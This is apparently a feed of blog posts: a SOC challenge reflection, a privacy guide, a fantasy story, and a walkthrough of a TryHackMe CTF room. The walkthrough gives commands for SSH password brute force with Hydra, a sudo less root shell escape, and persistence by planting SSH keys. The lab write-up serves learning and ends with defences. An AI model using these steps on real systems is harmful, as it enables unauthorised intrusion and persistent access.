Pyramid of Pain: this challenge allowed me to strengthen my knowledge on the framework, forcing me to think why each level has its corresponding difficulty, by thinking how an attacker could bypass a detection or deny rule.
Sigma rule structure: levels 3 to 5 involved generating a Sigma rule, which the SOC L1 learning path (this challenge was part of it) has no room on at this point.
Analyzing logs: task 5 was about to look for a specific pattern in a log file. Even if at first I focused on the wrong pattern, I managed to realize quite quickly what was I supposed to be looking for.
Learning how an attacker might hide their actions, and thinking of False Positives: some tasks involved the attacker hiding their signatures, or hiding their actions by modifying system files. For these I had to consider about False Positives as well, as some of their actions could be similar to normally benign actions, and creating an overly lax detection rule might make the SOC team focus on the wrong alert.

The Essential Digital Privacy Guide

January 20, 2026

from River

This guide will cover various recommendations for Windows/Linux/iOS with an eye for free, open-source, private software and privacy-enhancing tips. Given the amount I'll be covering, it will not be in maximum depth (i.e., I do not always offer all possible options or my full reasoning for recommendations). Please refer to my PC Privacy Guide, iOS Privacy Guide, and De-Googling Guide back on my old Substack for more focused guides.

And yes, non-corporate Linux and Graphene is vastly preferable to Windows and iOS. Your privacy on Windows and iOS is inherently compromised. You can, however, reduce data collection in some marginal ways, and you certainly can improve the external privacy of your system (i.e., reduce the amount that web trackers are monitoring you and such). Frankly, I do not yet have sufficient experience with either to really cover them in detail, nor do I think that installing a new OS is a privacy tip that most people will just up and follow. This article is aimed towards people who may not be willing to go that far yet. I do have some brief comments on OS options on.

I'll hopefully be putting out a follow-up post to this fairly soon, so stay posted for that. It'll be more FOSS and recommendations of cool tools rather than what I consider to be essential privacy steps.

Additional Resources

Privacy Tests – A website which compares open-source tests of browser privacy. It is one of the easiest ways to quickly compare the major browsers.
Avoid the Hack’s Browser Comparison Tool – Similar to Privacy Tests, but more generalized and with information on more browsers.
Privacy Guides and Avoid the Hack – Websites managed by people familiar with the privacy world, and so tend to have much better recommendations than similar sites. You can find recommended browsers, operating systems, email providers, etc.
EFF’s Cover Your Tracks – A tool that attempts to fingerprint your browser in order to determine how protected you are. Extremely helpful for testing whether features are truly improving your privacy.
O&O Software – Makers of a number of tools that can make Windows more secure/private. Many of the tools are paid, but AppBuster and ShutUp10++ are both free, and I highly recommend ShutUp10++ in particular for disabling Windows bloat/spyware.

De-Googling

While you may still need a Google account for certain things, you certainly can adjust settings to improve privacy and migrate most services away from Google.

For tweaks, most of the settings you'll want will be under Data & Privacy in Google Account. You'll ideally want to disable everything under Things you’ve done and places you’ve been. You'll also want to limit the amount of info shared under Info you can share with others and cut down on the number of third-party services under Data from apps and services you use.

Beyond the general tweaks, I'd highly recommend disabling all “personalization” and “smart” features, as nowadays that is often cover for AI-powered data harvesting. You can find a number of these features under general Gmail settings.

As for migration, Google's Dashboard, Takeout, and Delete Services will be your friends. Dashboard shows a general overview of your data and services, Takeout allows you to export your data, and Delete Services, of course, allows you to delete things.

Recommendations

Google Search –> Startpage, DuckDuckGo, or SearXNG. Startpage is a simple Google and Bing wrapper, so should work well for most users. DDG has been implementing AI features I'm really not a fan of, but it does have some very handy features, an onion service, and a version of the engine without AI, so DDG NoAI is my personal choice. SearXNG is the most versatile of the 3, even including search functions for torrents and other specifics, but service can be a bit spotty in my experience.
Gmail –> Tuta Mail or Mailbox Mail, and/or Thunderbird. Tuta and Mailbox Mail are both encrypted email providers that will be a significant step up from Gmail. That being said, bear in mind that the main gain is privacy in respect towards the provider – end-to-end encryption, by definition, is only ever enabled for these services if the person you are emailing uses a compatible encryption service. I've personally heard better things about Tuta's user experience, and it's what I personally use. If you continue to use Gmail, I'd recommend using Thunderbird as an email client, as it will provide some modest improvements over accessing your Gmail on the web (and does enable E2EE if you're looking to do so).
Google Maps –> Open Street Map/Organic Maps or Apple Maps. Open Street Map is community-developed, which is great, but means that it isn't always as up-to-date. Organic Maps is the one iOS app for OSM that I know of (though there may be others), and it doesn't have the best routing features, nor is it always up-to-date with OSM, even. For most people with iPhones, I'd recommend just using Apple Maps, as it is marginally more private than Google Maps, and much more comparable in features/map data.
Google Drive –> CryptPad or LibreOffice. Privacy Guides only recommends CryptPad, so it's my primary choice as well. Filen is a good second choice, especially if you need more than 1 free GB (Filen offers 10). LibreOffice is a decent primarily offline replacement, though as consequence it's more a Microsoft Office replacement than a Google one.
Google Photos – Ente. If you're wanting a specifically online photo/video manager, Ente is your best bet. Naturally, you could also simply store things offline or use one of the Drive replacements.
YouTube –> FreeTube. You have a lot of options for YouTube replacements, including alternative front-ends like Invidious and Fediverse equivalents like PeerTube. If you want to keep your subscriptions, however, a client is the way to go (Invidious had some support for accounts/subs, but I believe that's largely died). FreeTube is not the only client option, but it is easily my favorite. You can import your subcriptions quite easily, but for playlists you may have to import from URLs. Since Watch Later cannot be made public, to import it from URL you will have to copy it to another playlist, then import that playlist. The extension Multiselect for YouTube makes this fairly quick. FreeTube will occasionally break for a short time after YouTube changes things, but generally it works quite well, and has some fantastic features.
Google News –> NetWireNews (iOS) or Feeder (Android). I'd highly recommend using RSS for your news aggregation. It gives you much better control, and you can avoid ads and all other nonsense. You can typically add news sources simply by pasting in their URL, though occasionally you may need to add /rss or /feed to the end.
Google Keep –> Obsidian. It has so many great features; I truly can't recommend it enough.
Google Meet –> Jitsi Meet. Naturally, you may not always have a choice, but Jitsi is the preferred option for secure video calls.

Hardware

Avoid smart home devices at any cost, end of story. For a phone, ideally, I'd recommend a Pixel with GrapheneOS, the gold-standard for secure mobile OSs (Graphene has plans to be available on other phones, but this is still in the works). Privacy Guides also has some app recommendations and advice on how best to obtain apps (of particular note – avoid the Google Play store, and F-Droid isn’t the best either).

iOS Recommendations

Privacy and Security Settings

Shut off everything under Analytics and Improvements and Apple Advertising. Under Tracking, disable Allow Apps to Request to Track and disable permissions for all the apps that requested it.

Under Location Services, review which apps have access and disable or limit any unnecessary ones. This should include location logging for the Camera app! Next, at the bottom of Location Services you’ll want to go into System Services. You can disable the vast majority of these services. Emergency Calls and SOS, Find My iPhone, and Share My Location should probably be left enabled for most people. Disabling Networking and Wireless can potentially impact performance, since you may not always be connected to the closest tower. Personally, I haven’t noticed a difference. Everything under Product Improvement (iPhone Analytics, etc) should be disabled as well.

Still under System Services, I would also highly recommend disabling Significant Locations. This feature logs locations you visit in order to determine the titular “significant” locations, allowing it to effectively have map pins for your home, work, favorite grocery store, friends’ apartments, etc. This will clear certain Apple Maps saved locations, but I would recommend it regardless.

Lastly, I'd recommend going through Safety Check to see and confirm/retract information you are still sharing. Enabling the App Privacy Report can also be useful, as it logs what domains apps are contacting. (Note that it'll be on you to go back later and see what apps are regularly contacting Facebook; it's just a passive report).

iCloud

Obviously, anything in your iCloud can potentially be accessed by Apple. Thankfully, Apple does offer end-to-end encryption for iCloud, though it is disabled by default. Be aware that enabling it means that if you ever fully get locked out of your phone / iCloud, Apple will not be able to retrieve your stuff.

Under iCloud, disable anything you don’t need backed up (and consider that that could mean everything). You may also want to consider disabling Access iCloud Data on the Web at the bottom. Most crucially, enable Advanced Data Protection.

Network

Go to Wi-Fi, then select the i by your Wi-Fi network. Scroll down to Private Wi-Fi Address. Set this to Rotating if it isn’t already, and below it enable Limit IP Address Tracking. While your iPhone generally will, by default, generate a different address for each network, it may not be set to randomize on the same network. Rotating is generally better, but for networks that force you through a portal (like hotels), it may make you sign back in each time. (This is why, you’ll note, these settings are individual to each network).

I'd recommend setting up a private DNS, with Mullvad's “base” DNS being my top recommendation. This will help keep your browsing a little more private, with the added benefit of blocking ads, trackers, and malware. You can follow Mullvad's instructions on setting it up. It is fairly straightforward, but do be sure to do the seemingly pointless step of selecting the profile in Files (step 7), otherwise the Profile Download button will not appear in step 9.

A VPN isn't a bad idea either, though in my experience mobile VPNs can be a bit buggy at times. Proton VPN is the only good free option I know of (even though I don't wholly trust Proton), while Mullvad VPN would be my recommendation for anyone who can pay for a VPN. IVPN is pretty good as well, and fairly comparable to Mullvad. I would strongly recommend against any VPN that isn't those 3.

Browser

While there are an array of options for iOS browsers, the choices are in actuality limited by the restrictions that Apple places on browsers that are not Safari. Brave, DuckDuckGo, and Firefox Focus do all have some improvements over base Safari. So barring any tweaking, I'd recommend DDG as a daily driver and Firefox Focus if you want permanent incognito (I do not recommend Brave, both for the crypto BS and because the CEO is homophobic).

Overall, however, if you truly want a private browser, Safari is the best choice. I would recommend following Privacy Guide's tips for settings to harden it, excluding their recommendation to enable FaceID for private browsing (I don't recommend biometrics in general, since they potentially allow access without your consent).

I would also highly recommend installing uBlock Origin Lite as a Safari extension, which will help further reduce ads/trackers/etc. uBlock Origin is the gold-standard content blocker; I wouldn't recommend a different one.

Other Apps/Reccs

Use Signal whenever possible. Other messaging apps like WhatsApp or Telegram are marginally more secure than iMessage, but are significantly less secure than Signal.

Do not include locations on images, and ideally, go a step further and scrub the metadata entirely. You can create a button via Shortcuts to do this pretty easily. Note that you’ll need separate shortcuts for photos, videos, and GIFs. Making a GIF shortcut is very similar to the photos shortcut, but instead of using Convert, you use Make GIF. You could also just install an app to scrub metadata, but I'd recommend against it, as you don't know what is truly being done with your photos.

As mentioned, you can use Organic Maps for a totally private maps, though it isn't amazing. Again, Apple Maps is at least marginally better than Google Maps.

PC Privacy

Naturally, many of my De-Googling recommendations will be relevant here, so refer back to that if needed (for Office/Drive replacements, search engines, email, etc).

Operating Systems

I'm still a relative noob to Linux, but I have some potential distro recommendations. Linux Mint is the common recc for users new to Linux, as it is made to resemble Windows and is pretty well maintained. Privacy Guides recommends Fedora, openSUSE Tumbleweed, Arch Linux, and NixOS for privacy-conscious distributions. Of those, Fedora is the most beginner-friendly (which may not be saying too much if you have 0 command-line or Linux experience).

You'll also often have a choice of desktop environment, such as GNOME, KDE, Cinnamon, LXQt, and Xfce. Across both distros and desktop environments, you may see that some are considered “lightweight”, meaning that they are less resource intensive, and so may be good for older hardware.

I have only really used Lubuntu, a lightweight fork of Ubuntu using the LXQt desktop environment (I wouldn't recommend Ubuntu itself, as it's become pretty corporate). I put it on several old laptops and it's been pretty nice, though I think I'd probably use Fedora KDE if I wanted a true daily driver (greater privacy and support as far as I know, probably lower likelihood to run into some of the issues I've hit).

You can get most OSs “live”, meaning you can put them on a USB and boot from them without overwriting your true OS. Very handy for testing, and actually pretty easy! There are also some OSs that are purely live, such as Tails, which is an OS designed specifically for maximum privacy, routing connections through Tor and wiping data when done. You can also use Virtual Machines to run different OSs, including Whonix, which is similar to Tails, but with greater security features (and cannot, to my knowledge, run outside of a VM).

Windows Settings

Again, I’d highly recommend anyone who feels comfortable to jump to Linux to do so (and consider testing out a live OS, switching over may be easier than you think!). Otherwise, software like Revision can “clean” existing Windows 10/11. Please tread carefully if you’re interested; I can't attest much to functionality or trustworthiness. There are other options available for cleaner installs, but if you're willing to reinstall your OS, I would again highly encourage switching to Linux (compatibility has improved dramatically in recent years!).

Barring messing with your operating system directly, though, there are certainly still important steps you can take. To start, use ShutUp10++ to disable invasive Windows features – it will provide a GUI with recommendations and explanations for what should be disabled. Some following settings changes will be redundant with ShutUp10++.

Privacy and Security – In settings, go under Privacy & Security. Under General, turn off the Advertising ID in particular, along with the other settings in that section (except notifications). Disable everything under Diagnostics & Feedback and Text & Image Generation. Under Location, turn off Let Apps Access Your Location (they can still see approximate location; this just gets rid of precise location).

General Settings – Under Personalization > Device Use, disable everything. Also disable and remove anything under System > AI Components.

Wi-Fi – Go under Network & Internet > Wi-Fi. Below Hardware properties, enable Random hardware address. This can potentially force additional sign-ins on networks with portals, such as hotels, but is a good privacy step.

Services – Disable SSDP Discovery and UPnP Device Host. Both enable discovery and communication with different types of devices on your network, so this could potentially disconnect a device. This does not apply to standard Bluetooth devices, so for most people this is a security risk more than anything.

Browser

Your only options for a browser are Chromium-based and Gecko-based (i.e., Chrome/Firefox-based). Chromium has several limitations that immediately shoot any option there in the foot, so in all practicality you should only be looking at Firefox and Firefox forks.

Firefox itself isn't the worst, but has been making a move towards AI lately, and takes some effort to make more private. Refer to Privacy Guide's page on Firefox for more info if interested.

There are a number of forks that are probably ok options for daily drivers, such as Waterfox and Zen Browser. They benefit in not having the AI enshittification, but being downstream, are slower to update than Firefox (and therefore potentially vulnerable). So, if you're going with a fork, I'd recommend just going for one of the more privacy-focused options.

When it comes to truly private browsers, the forerunners are Librewolf, Mullvad, and Tor. Tor is the choice for the truly privacy conscious, as connections are routed over several relays, making it extremely difficult to match your browsing activity to you. Unfortunately, a number of websites block Tor users, and it can be a bit slower at times, so while I do recommend it for general browsing/searching, it probably won't be the best fit for daily use for most people.

Mullvad is essentially just the Tor browser minus the relays, making it much more usable on the daily and more private out of the box than Librewolf. I should note, however, that Librewolf updates faster than Tor/Mullvad, meaning that it has an easier time blending in with general Firefox traffic. Therefore, I'd either recommend Mullvad, or Librewolf with uBlock Origin, Port Authority, and Canvas Blocker, plus some settings tweaks. If you really want privacy but aren't very tech savvy, just go with Mullvad, but hardened Librewolf might be my preference. (And if you aren't a privacy nut, base Librewolf really isn't bad).

VPN/DNS

As mentioned for iOS, I would recommend using Mullvad's “base” DNS for slightly improved privacy + some ad and tracker blocking. You can refer to their website for how to set it up via Wi-Fi hardware settings or via browser settings. Both are fairly straightforward, though browser is certainly a bit quicker to setup. Nonetheless, I would recommend setting it up on your Wi-Fi, so your whole system gets the benefits.

As for VPNs, again, Mullvad, IVPN, and Proton VPN are the only real forerunners. I personally would not trust Proton all that much. Mullvad and IVPN are fairly similar as far as protocols go. IVPN has better split-tunneling, though, while Mullvad offers more devices on their basic plan (5 vs 3) and has better IPv6 and anti-censorship features. If you know you'll need a few apps to always be split-tunneled, I'd recommend IVPN, otherwise I'd recommend Mullvad. (And if you think you desperately need to use a VPN for something, probably just use Tor. VPNs are far from infallible).

Additional Software

BleachBit – The primary use of BleachBit is to clear space, with some secondary privacy gains. Namely, BleachBit clears data fragments, temporary files, and even (optionally) browser caches, saved passwords, etc. This can potentially clear several gigabytes of space, and the cleaning of data fragments ensures that deleted files are well and truly deleted.

ExifTool – A command-line utility to strip metadata from photos and videos. Would highly recommend using it before posting stuff publicly.

KeePassXC – My preferred password manager. Bitwarden may be a better pick if you want to sync passwords across devices, but KeePass is the goat for local password management.

Lutris – Not a privacy thing, but too handy for Linux not to mention. It lets you play all your games! It really integrates everything; you can manually add games in addition to linking all of the major game stores. With the built in compatibility/emulation tools, you can launch everything right from Lutris. Might require a little setup in some cases (particularly for manually added games), but honestly super functional.

January 20, 2026

from kierwin

Brooklyn Nine Nine CTF | Walkthrough

January 7, 2026

from plutogazer writeups

This is a Walkthrough for the Brooklyn Nine Nine Capture The Flag TryHackMe room. The writeup is meant to offer short and concise solutions by using a bigger font and titling as “Task Number”, but also offering an extended explanation as subheaders for those interested in finding out more about the solution to a specific task.

Starting

Let's start with the basics – enumerate the open ports in the target. Let's use nmap.

nmap -sV MACHINE_IP

Host is up (0.00020s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel index page:

We find three open ports with three services: SSH, FTP, and a web server. I tried enumerating the web server's directories to see if there was something of interest, but it only contains a background image.

Task 1: User flag

Because there was nothing but the index, any hint must be in the page itself.

Check the web server's main page's source. Alternatively, open developer tools and inspect the index, you will find the following comment:

Have you ever heard of steganography?

Nice hint. So the background image might not be just a background image... In the source page we will find the following line: **background-image: url("brooklyn99.jpg");** The fact that url() specifies the image directly means that it can be found in the same path we're at right now. 2. Download the background image I used wget for this. ``` wget http://MACHINE_IP/brooklyn99.jpg ``` 3. Use steganography to uncover the secret behind the image. I decided to use **stegseek** ***Note**: I was using TryHackMe's Attackbox. Stegseek, however, is not included in the Attackbox - I had to install it, as the steganography tool that was available has been deprecated.* ``` stegseek brooklyn99.jpg ``` We get the following message:

[i] Found passphrase: "[REDACTED]"

Decode the image with the password we found. I used https://futureboy.us/stegano/decinput.html to do this.

This shows us the following message:

Holts Password:

[REDACTED]

Enjoy!!

Time to get access.

Gain access the target *According to the creator, there are two ways to gain access. I assume this is either directly through SSH with holt's password or the long way around, with the password of the user we will find right now. I chose the long way around:* We will do this with the FTP port we found.

ftp MACHINE_IP

It will tell us that the server only accepts anonymous connections. Let's attempt a new connection, with “anonymous” as the user.

ftp> open MACHINE_IP

Connected to MACHINEIP. 220 (vsFTPd 3.0.3) Name (MACHINEIP:root): anonymous 331 Please specify the password. Password: 230 Login successful.

Examine the server's contents with the dir FTP command.

ftp> dir

200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r—r— 1 0 0 119 May 17 2020 notetojake.txt 226 Directory send OK.

Download the contents with the get FTP command.

ftp> get note_to_jake.txt

The file says the following:

From Amy, Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine

Now we know a way to actually access to the system. Assuming Amy and Jake are both existing users, and Amy is telling us Jake has a weak password, let us see if we can brute-force Jake's password.

Attempt to gain access through SSH by brute-forcing Jake's password. I will use Hydra for this.

hydra -l jake -P /usr/share/wordlists/rockyou.txt MACHINE_IP ssh

It took Hydra about one second to find it. So, knowing the password:

ssh jake@MACHINE_IP

Find the User flag. You can look for it manually, or use the following command: find /home/ -name user.txt 2>/dev/null

Task 2: Root flag

To access the Root flag (likely at /root/) we will need root access.

Find a way to escalate privileges. Check what can the current user run as root.

sudo -l -l

We get the following information:

Matching Defaults entries for jake on brooklyninenine: envreset, mailbadpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User jake may run the following commands on brooklyninenine:

Sudoers entry: RunAsUsers: ALL Options: !authenticate Commands: /usr/bin/less

So, it seems jake can run less as root.

Find a way to exploit this vulnerability. I searched GTFObins and found the following command:

sudo less /etc/profile !/bin/sh

This, indeed, allowed us to escalate privilege and act as the root user.

Find the root flag.

find / -name root.txt 2>/dev/null

Eventually, we will find where root.txt is located. It contains the following message:

- Creator : Fsociety2006 -- Congratulations in rooting Brooklyn Nine Nine Here is the flag: [REDACTED] Enjoy!!

Congratulations! The room is finished.

Optional: Persistence and Better Shell

What would happen if Holt and Jake change passwords? This method will no longer work. How do we bypass this? Persistence. Also, the terminal we get by escalating privileges with GTFOBINS is quite rudimentary (no tabbing functionality!). How do we fix this? With a *“better shell”.*

Persistence

The most direct way to achieve persistence (for this room) would be by using SSH keys. We will leave our public SSH key in the ./ssh/authorized_keys file of the target machine. 1. Have access to the target machine. 2. Generate SSH keys on your machine. This is done with the ssh-keygen command. By default, the algorithm used is RSA. Using this command will create a public and a private key, named id_rsa.pub and id_rsa, respectively. 3. Change permissions on the idrsa file to 600 or higher. This is done with the chmod command. This is because only the owner of the key should be able to read or overwrite it, otherwise SSH ignores it and forces you to connect with a password instead. 4. Copy the contents of **idrsa.pub** to the ./ssh/authorized_keys file in the target machine. This file essentially tells the target's server to “trust everyone that connects with these keys.” 5. Connect to the target's SSH server with your private SSH key, this is done with the following command:

ssh -i /path/to/id_rsa user@target

You will be able to log in as any user with this method, and you won't be asked for a password at any time. Furthermore, because we are connecting through SSH, we have now a “better shell.”

The target can still find out about this, and remove our key from authorized_keys. We can add a reverse shell as a cronjob on their machine, and just set up a listener on our machine when necessary, but this is already exceeding the scope of this room, so we'll leave it here.

How it could have been avoided

There were several vulnerabilities we took advantage of in this machine. Let us list them and give one solution to each: – Disable sensitive ports when not used: the FTP and SSH ports should have been closed if they were not in use, as this is how we accessed the system. If they cannot be closed, add filters based on necessity, as this would have significantly decreased the chances of intrusion. – Store passwords safely: the attack worked because holt's password, despite being considered “very strong” by today's standards, was stored in plaintext. Even if “hidden” by steganography, it is not particularly difficult to find them, and once we have the password, it can be used to get into the system. Passwords should be stored with a safe hashing algorithm, and salted. – Enforce strong password policies: CRUCIAL! jake's password was very weak. It took Hydra about one second to crack it. While “note to Jake” was a great hint, it was a matter of time before it was discovered. If jake had a strong password, we could have not have used the method we used to break into the system. Strong passwords have a combination of numbers, lowercase and uppercase letters, and symbols, and are at least 16 characters long. – Review security configurations: do not allow anonymous access to FTP servers that contain sensitive files (even if what we found was “just” a note, we used this note as a hint to gain access). Do not allow unprivileged users to run files as root – this is how we escalated privileges. If these misconfigurations had not been in place, we would've not been able to gain access like we did.

The Royal We

January 1, 2026

from J. R. DePriest

'Sandalwood', I think. 'I've never smelled it before, but I know that's what this is.
'This body must know what it is.'

I shift my legs, feel the soft support of whatever I'm sitting on. Lean back and push my shoulders in, enjoying its exquisite construction, resting my arms on two sturdy, padded rests.

And I hear murmuring.

I open my eyes just a slit, just enough to take in the room while still relaxing.

It's dark in here. Nice.

I slide my gaze over the floor.

Rose patterned carpet. Wide, round room, like a private hotel room.

Small windows at the edges, almost like airplane windows.

I look up to see who's whispering.

The back of a couch, detailed in another fine rose pattern. I know each rose was hand-stitched.

On the left, my cousin, Anna Marie but with dark, red hair, leaning over and conspiring with her best friend, the brunette Shelby. In my reality, Shelby carried a child for Anna Marie who is barren. In this reality, Anna Marie is newly married to Prince Dove-Tree of the Great Plains Alliance, a gentrified Native American nation in the middle of what I would call The United States of America.

I look at myself.

My sleeves are of cream-colored linen interwoven with silk bands, alternating teal and primrose. My burgundy jacket hangs open revealing a stark white frilled blouse with black banding and a glittering undercurrent of swirling rainbows. I'm wearing black, leather pants with braided inlay and well-made but worn work boots.

I shift, quint, feel where I am.

'I'm in the women's car,' I think. 'But I'm not quite a woman, am I?'

I flex my hands. Long, dexterous fingers yet thick palms, like cement.

'For fighting,' I almost remember.

I think of fire and push with every muscle and nerve in my forearms.

Nothing.

I think of ice and with great effort my hands glisten but produce barely a hint of frost.

'Magick,' I think. 'But not strong, not elemental.'

I sink into my memories. 'Who am I? What is my role? What are my skills?'

'Ah,' I think, picking out an interesting tidbit.

I make a gesture with the first two fingers of both hands and it begins to rain blood inside the cabin.

Anna Marie sits up, looks around, grimaces, and stares daggers at me.

She audibly sighs, rolls her eyes, sits up straight and stands.

I see she's wearing a full-length, slinky velvet dress the same dark red as the rest of the rose motif. She smooths the the skirt, straightens her sleeves, lifts her head and walks toward the front of the room.

She makes a right but is also still heading the same direction. She goes around a partition that folds the wrong way.

'Non-Euclidean design,' I think, nodding to myself.

The blood rain isn't real, of course. It's an illusion.

Nothing is getting wet.

I smile broadly, lift my chin, notice the hat on my head for the first time. Glancing up, I see a broad, dark rim, coming to a point about six inches out.

I remove it and hold it in my sturdy hands before leaning forward to engage with Shelby.

In my reality, Anna Marie was a “cousin” by association, part of our chosen family. I wish to determine our relation here and, if possible, find a way to woo her into my own good graces instead of this Prince.

It's a dream, after all; I can do whatever I want.

“It won't work, charlatan,” says a smooth, calm voice to my left.

“Pardon?” I say, hearing my own lustrous, lyrical voice for the first time.

I feel a gentle, but demanding hand on my left shoulder, urging me to rise and follow.

I steal a glance to see a broad, stunning blonde man in golden, padded armor, lined with silver and bearing the yellow crescent and pyramid seal of the Anglican Cheyenne House. Prince Donald Dove-Tree.

He hadn't been there the moment before. His appearance also ends my blood rain.

I am compelled to follow until we are standing at one of the portholes. I am thankful to have been given the option to come voluntarily.

I can see we are traveling down a paved road that is not nearly wide enough to accommodate a vehicle of this size and I wonder what shape was given to the outer appearance, I wonder what the people see.

Speaking of “the people”, they wear anachronisms mixed with modern, blue jeans and Ren Faire. The buildings are stone and glass, of two times, straddling an imagined past and a dirty, industrial present.

“I have three theories about what happens when I dream—,” I start to explain.

“This is the real world,” Prince Dove-Tree insists. “Those are real people, with real lives. They do not need your interference.”

He pushes me against the glass, forcing me to look.

Unabated, I continue, “As I was saying, when I borrow someone's body, I gain an intuitive but incomplete understanding of the world and my place in it.”

He spins me around, showing intense iron-blue eyes, uncomfortable in his baby round face lacking even stubble on his clenched jaw or full upper lip. “This is a complete world. You are not needed.”

I sense his frustration and annoyance.

“And when we swap back, they will remember everything I did. I understand that their subconscious mind will ret con the memories such that it finds a reason for everything that was done.”

I laugh.

“Although, sometimes I don't make it easy.”

He rubs his forehead with his free hand, closing his eyes and grinding his teeth.

His looks into my eyes and softens, smiles, even.

But he gets no chance to speak as we both wobble with the stoppage of our conveyance. I hadn't even truly noticed its motion.

“Come, then,” demands the Prince.

I don't remember stepping outside, but I am. I turn to look at the vehicle and its a simple limousine. I'm not sure we were ever actually inside of it.

A black man in threadbare but clean worker's clothes greets us and leads us past the wide glass front of a restaurant. I see patrons seated at round tables eating and visiting.

I step toward the main door, but we are pulled and led to a simpler one, immediately to the right that I hadn't noticed.

Inside, we are in a hallway that wasn't visible from outside. The walls must be thick because I can't hear the restaurant.

I see other black men in formal dark blue uniforms, carrying perfectly vertical pike staves, standing at attention at regular intervals as we pass.

The hallway doesn't turn, but I notice I can't see that far behind us or very far in front of us.

Finally, there is another door to our left and a large black woman opens it from the other side and welcomes us enthusiastically.

I smell meat and spices, feel steam. Glancing inside is a kitchen fit for a castle with dozens of people, all black, working at chopping, slicing, spicing, preparing, and cooking in pots, ovens, and open flames.

Instead of entering the kitchen, we are led through another set of non-Euclidean hallways curving over and under until we are in the middle of what should be the restaurant and what should be the kitchen, until we enter and entirely liminal room, veiled in shadows and lacking walls or a visible ceiling.

Sitting at a conspicuous L-shaped table of carved marble is Jon, Anna Marie's brother and a Duke, slouching in heavy, dingy, deep red robes more appropriate for a king.

I know he's proud to have married his sister off to a Prince. I also know he's an idiot and his sister was the true master of this domain.

I estimate he will lose everything and be subsumed by the Great Plains Alliance in less than two years.

Speaking of the Prince, he quickly speeds to the Duke and they begin whispering back and forth.

Anna Marie and Shelby stay close to me, with Anna Marie gently touching my elbow as if to let me know she's there. I am supposed to be their protector. I didn't realize that until just now. I know them and typically call them my only true friends. I fight for them.

The Duke sits up, eyes suddenly bright and motions for two of the blue-clad, black-skinned sentries to come over.

They lean in for quiet orders while he gestures toward me.

The two men look at me, then back to the Duke and he nods then waves them away.

All the servants are black, I realize. All of them. And I haven't seen a single citizen on the street or in the restaurant out front that was black.

I think—I remember there was no Revolutionary War here and also no Civil War. That would explain the titles and pageantry, too.

History is not this version of me's strong suit. It's not mine, either.

One of the men asks Anna Marie and Shelby, “I'm very sorry Your Highness and Missus, but would you please step back from The Attendant?”

They step back as the two men flank me, The Attendant, apparently.

“Sorry, Mx,” one of them tells me as they push me toward the Duke. They don't prod me with their pikes, but I know they would if I didn't do as they asked, as The Duke asked.

I do not resist, focusing the non-binary honorific they used to address me. This one is considered neither man nor woman, but an official third thing.

Jon barely looks up once I'm standing over him.

“I thought you were better than this, Jesse,” he tells me. “I didn't even think you liked girls or boys in that way.
“The Prince informs me that you attempted to seduce my sister or rather that you planned to do so.”

'Shit,' I think. I completely forgot Prince Dove-Tree is a strong empath, nearly telepathic. The body I'm borrowing is typically far more clever than I've been.

Shit.

“Your punishment will be immediate.”

He gestures and the guard on my right takes my wrist and moves it to the table.

I understand and flatten my hand in front of the Duke.

“No need to hold me down,” I say.

The sentry doesn't let go.

The Duke produces a cleaver and seems to ponder something but thinks better of it.

“Three,” he says.

He positions the cleaver over the pointer finger of my right hand, leveling the blade just above the knuckle. He applies a tiny bit of pressure with his left hand steadying the blade before slamming his right hand down. A jolt of electrical fire shoots up my arm, my legs start to buckle, my vision blurs, my head swims, and my teeth grit almost to the point of breaking.

I hear a muffled scream and recognize it as Anna Marie.

“That's one,” the Duke says, lining up my middle finger.

The first cut left a spray of blood on the table and wall, but it's already stopped.

'I heal fast.' I know that. I knew that. But it still hurts.

He slams down his right hand and I feel the world spin around me, my insides flip, I bite my tongue nearly in two and feel my magick unspiraling itself, ready to retaliate. I have to push past the torture and will it back down.

“Two down,” he says, getting ready to cut off my ring finger.

SLAM!

Another scream, this time it's me. It takes every ounce of willpower and strength to not piss myself in pain and paint the entire room in illusory fire while sending a blast wave strong enough to flatten every living thing.

“Three,” he says nodding. “Now, all is forgiven.”

He rolls one of the fingers thoughtlessly before waving them away. A servant quickly scoops up the bulk of the gore.

“Now let's eat.”

He doesn't even have the blood cleaned from the white marble.

He never looks up at me. Never meets my eyes.

My hand throbs, my entire arm numb as a jellyfish sting. My stomach roils and my head threatens to send me to the ground as my vision narrows and blackens.

I'm gingerly led to a side table where I sit alone, watching my fingers knit themselves back together. I'll have a complete—albeit gnarly—set in a few hours and be fully functional by tomorrow morning.

Behind me, I hear Anna Marie crying softly to Shelby.

The shock and pain pushed me deeper into the memories of this body. For example, I know Anna Marie and I are already having an affair. The person I'm borrowing is just a far better “charlatan” than I.

I turn slightly to survey the feast of a Duke.

For all the savory smells from the kitchen, they are eating simple sandwiches of grilled, exotic meats and cheeses. The Duke doesn't care for fancy dishes, as I now recall.

I see a group of people, dressed as peasants, lumbering toward the Duke out of the distant dimness. There aren't any doors so I'm not sure where they are coming from.

They are shuffling zombie-like and there are more of them than I initially thought. I count eighteen so far and hear the scrape and slide of others still hidden.

The Duke notices and sends a half dozen of his sentries with a careless gesture while continuing to eat.

They rush ahead, confronting the crowd but are completely ignored. The few they stop offer no resistance, staring blankly while the bulk keeps coming, pushing past them, stumbling steadily forward.

“Enjoy the food?” a sonorous, sinister voice asks, as a thin man, dressed in a white robe fluttering in a non-existent breeze, with dark black hair appears from the larger group.

“Malcolm!” growls the Duke.

I see him move to stand, but nothing happens. He leans forward, he leans sideways, he pushes his arms down, but he can't get up, can hardly move at all.

None of them can. Not the Prince, not Anna Marie or Shelby.

I stand and stride forward.

Malcolm sees me coming and gestures with his right hand sending a snaking bolt of lightning at me.

Grinning wildly, I slap it out of the air with my left hand like an annoying gnat.

I love this part of the job.

Malcolm starts a more complex gesture, but I'm already on him, lifting him into the air with what remains of my right hand, squeezing his neck between the claw of my pinky and thumb so he can barely swallow, let alone speak. I grab his gesturing right hand and crush the bones as if they were balsa wood with my left.

“Not hungry today, eh Jesse?” he croaks.

